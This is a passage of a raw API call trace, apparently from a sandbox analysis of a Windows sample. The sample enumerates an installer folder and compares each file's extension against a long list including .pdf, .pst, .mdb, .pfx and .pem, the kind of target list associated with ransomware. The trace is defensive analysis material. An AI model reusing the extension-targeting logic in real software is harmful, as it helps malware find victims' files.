lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".grs") returned 4 [0061.874] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".gz") returned 3 [0061.874] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0061.874] lstrlenW (lpString=".h") returned 2 [0061.874] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0061.874] lstrlenW (lpString=".hdr") returned 4 [0061.874] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".hpp") returned 4 [0061.874] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".hta") returned 4 [0061.874] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".htc") returned 4 [0061.874] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".htm") returned 4 [0061.874] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".html") returned 5 [0061.874] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0061.874] lstrlenW (lpString=".icb") returned 4 [0061.874] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".ics") returned 4 [0061.874] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".iff") returned 4 [0061.874] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".inc") returned 4 [0061.874] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0061.874] lstrlenW (lpString=".indd") returned 5 [0061.875] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0061.875] lstrlenW (lpString=".ini") returned 4 [0061.875] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".iqy") returned 4 [0061.875] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".j2c") returned 4 [0061.875] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".j2k") returned 4 [0061.875] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".java") returned 5 [0061.875] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0061.875] lstrlenW (lpString=".jp2") returned 4 [0061.875] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".jpc") returned 4 [0061.875] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".jpe") returned 4 [0061.875] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".jpeg") returned 5 [0061.875] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0061.875] lstrlenW (lpString=".jpf") returned 4 [0061.875] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".jpg") returned 4 [0061.875] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".jpx") returned 4 [0061.875] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".js") returned 3 [0061.875] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0061.875] lstrlenW (lpString=".jsf") returned 4 [0061.875] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".json") returned 5 [0061.875] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0061.875] lstrlenW (lpString=".jsp") returned 4 [0061.875] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".kdc") returned 4 [0061.875] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0061.875] lstrlenW (lpString=".kmz") returned 4 [0061.875] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".kwm") returned 4 [0061.876] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".lasso") returned 6 [0061.876] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0061.876] lstrlenW (lpString=".lbi") returned 4 [0061.876] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".lgf") returned 4 [0061.876] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".lgp") returned 4 [0061.876] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".log") returned 4 [0061.876] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".m1v") returned 4 [0061.876] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".m4a") returned 4 [0061.876] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".m4v") returned 4 [0061.876] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".max") returned 4 [0061.876] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".md") returned 3 [0061.876] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0061.876] lstrlenW (lpString=".mda") returned 4 [0061.876] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".mdb") returned 4 [0061.876] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".mde") returned 4 [0061.876] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".mdf") returned 4 [0061.876] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".mdw") returned 4 [0061.876] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".mef") returned 4 [0061.876] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".mft") returned 4 [0061.876] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0061.876] lstrlenW (lpString=".mfw") returned 4 [0061.877] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mht") returned 4 [0061.877] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mhtml") returned 6 [0061.877] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0061.877] lstrlenW (lpString=".mka") returned 4 [0061.877] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mkidx") returned 6 [0061.877] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0061.877] lstrlenW (lpString=".mkv") returned 4 [0061.877] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mos") returned 4 [0061.877] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mov") returned 4 [0061.877] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mp3") returned 4 [0061.877] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mp4") returned 4 [0061.877] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mpeg") returned 5 [0061.877] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0061.877] lstrlenW (lpString=".mpg") returned 4 [0061.877] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mpv") returned 4 [0061.877] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mrw") returned 4 [0061.877] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".msg") returned 4 [0061.877] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".mxl") returned 4 [0061.877] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".myd") returned 4 [0061.877] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0061.877] lstrlenW (lpString=".myi") returned 4 [0061.877] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".nef") returned 4 [0061.878] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".nrw") returned 4 [0061.878] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".obj") returned 4 [0061.878] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".odb") returned 4 [0061.878] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".odc") returned 4 [0061.878] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".odm") returned 4 [0061.878] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".odp") returned 4 [0061.878] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".ods") returned 4 [0061.878] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".oft") returned 4 [0061.878] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".one") returned 4 [0061.878] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".onepkg") returned 7 [0061.878] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0061.878] lstrlenW (lpString=".onetoc2") returned 8 [0061.878] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0061.878] lstrlenW (lpString=".opt") returned 4 [0061.878] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".oqy") returned 4 [0061.878] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".orf") returned 4 [0061.878] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".p12") returned 4 [0061.878] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".p7b") returned 4 [0061.878] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".p7c") returned 4 [0061.878] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0061.878] lstrlenW (lpString=".pam") returned 4 [0061.879] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pbm") returned 4 [0061.879] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pct") returned 4 [0061.879] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pcx") returned 4 [0061.879] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pdd") returned 4 [0061.879] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pdf") returned 4 [0061.879] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pdp") returned 4 [0061.879] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pef") returned 4 [0061.879] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pem") returned 4 [0061.879] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pff") returned 4 [0061.879] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pfm") returned 4 [0061.879] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pfx") returned 4 [0061.879] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".pgm") returned 4 [0061.879] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".php") returned 4 [0061.879] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0061.879] lstrlenW (lpString=".php3") returned 5 [0061.879] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0061.879] lstrlenW (lpString=".php4") returned 5 [0061.879] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0061.879] lstrlenW (lpString=".php5") returned 5 [0061.879] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0061.879] lstrlenW (lpString=".phtml") returned 6 [0061.879] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0061.879] lstrlenW (lpString=".pict") returned 5 [0061.879] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0061.880] lstrlenW (lpString=".pl") returned 3 [0061.880] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0061.880] lstrlenW (lpString=".pls") returned 4 [0061.880] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".pm") returned 3 [0061.880] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0061.880] lstrlenW (lpString=".png") returned 4 [0061.880] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".pnm") returned 4 [0061.880] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".pot") returned 4 [0061.880] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".potm") returned 5 [0061.880] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0061.880] lstrlenW (lpString=".potx") returned 5 [0061.880] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0061.880] lstrlenW (lpString=".ppa") returned 4 [0061.880] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".ppam") returned 5 [0061.880] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0061.880] lstrlenW (lpString=".ppm") returned 4 [0061.880] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".pps") returned 4 [0061.880] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".ppsm") returned 5 [0061.880] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0061.880] lstrlenW (lpString=".ppt") returned 4 [0061.880] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".pptm") returned 5 [0061.880] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0061.880] lstrlenW (lpString=".pptx") returned 5 [0061.880] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0061.880] lstrlenW (lpString=".prn") returned 4 [0061.880] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0061.880] lstrlenW (lpString=".ps") returned 3 [0061.880] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0061.880] lstrlenW (lpString=".psb") returned 4 [0061.881] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".psd") returned 4 [0061.881] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".pst") returned 4 [0061.881] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".ptx") returned 4 [0061.881] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".pub") returned 4 [0061.881] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".pwm") returned 4 [0061.881] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".pxr") returned 4 [0061.881] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".py") returned 3 [0061.881] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0061.881] lstrlenW (lpString=".qt") returned 3 [0061.881] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0061.881] lstrlenW (lpString=".r3d") returned 4 [0061.881] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".raf") returned 4 [0061.881] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0061.881] lstrlenW (lpString=".rar") returned 4 [0061.881] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.881] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0061.881] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0061.881] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0061.882] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0063.337] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.338] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0063.338] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.338] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0063.338] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.338] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.338] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.338] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.338] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.338] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0063.338] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.338] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0063.339] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0063.339] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0063.339] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.339] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0063.339] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0063.340] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0063.340] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0063.340] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0063.340] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0063.340] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, 